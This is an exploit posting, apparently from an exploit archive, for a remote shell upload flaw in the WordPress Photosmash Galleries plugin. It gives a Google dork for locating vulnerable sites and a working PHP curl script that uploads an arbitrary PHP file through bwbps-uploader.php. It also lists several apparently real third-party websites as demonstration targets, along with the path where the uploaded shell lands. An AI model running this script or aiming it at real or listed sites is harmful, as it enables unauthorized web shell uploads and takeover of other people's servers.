WordPress Photosmash plugin suffers from a remote shell upload vulnerability.
f3d3fc56e3bf61eb9e674dc6ae973601f1ef3fb057e3103babced81c67ec6f72
###############################################################
# Exploit Title: Wordpress photosmash plugins Remote File Upload
Vulnerability
# Author: Ashiyane Digital Security Team
# Date: 12/08/2013
# Vendor Homepage: http://smashly.net/
# Software Link :
http://downloads.wordpress.org/plugin/photosmash-galleries.1.0.7.zip
# Google dork: inurl:/wp-content/plugins/photosmash-galleries/
# Tested on: Windows/Linux
###############################################################
# Exploit :
= = = = = =
<?php
$uploadfile="file.php";
$ch = curl_init("
http://127.0.0.1/wordpress/wp-content/plugins/photosmash-galleries/bwbps-uploader.php
");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('FileData'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
2) Exploit demo :
= = = = = = = = =
http://ibcpalmer.org//wp-content/plugins/photosmash-galleries/bwbps-uploader.php
http://knuckledraggerzvc.com/wp/wp-content/plugins/photosmash-galleries/bwbps-uploader.php
http://www.doersmissions.org//wp-content/plugins/photosmash-galleries/bwbps-uploader.php
http://www.hrbuoy.com/wp-content/plugins/photosmash-galleries/bwbps-uploader.php
# #### #### #### #### #### #### #### #### #
# http://[Target]/wp-content/uploads/bwbps/file.php
# #### #### #### #### #### #### #### #### #
# BY T3rm!nat0r5
# E-mail : poya.terminator@gmail.com
# #### #### #### #### #### #### #### #### #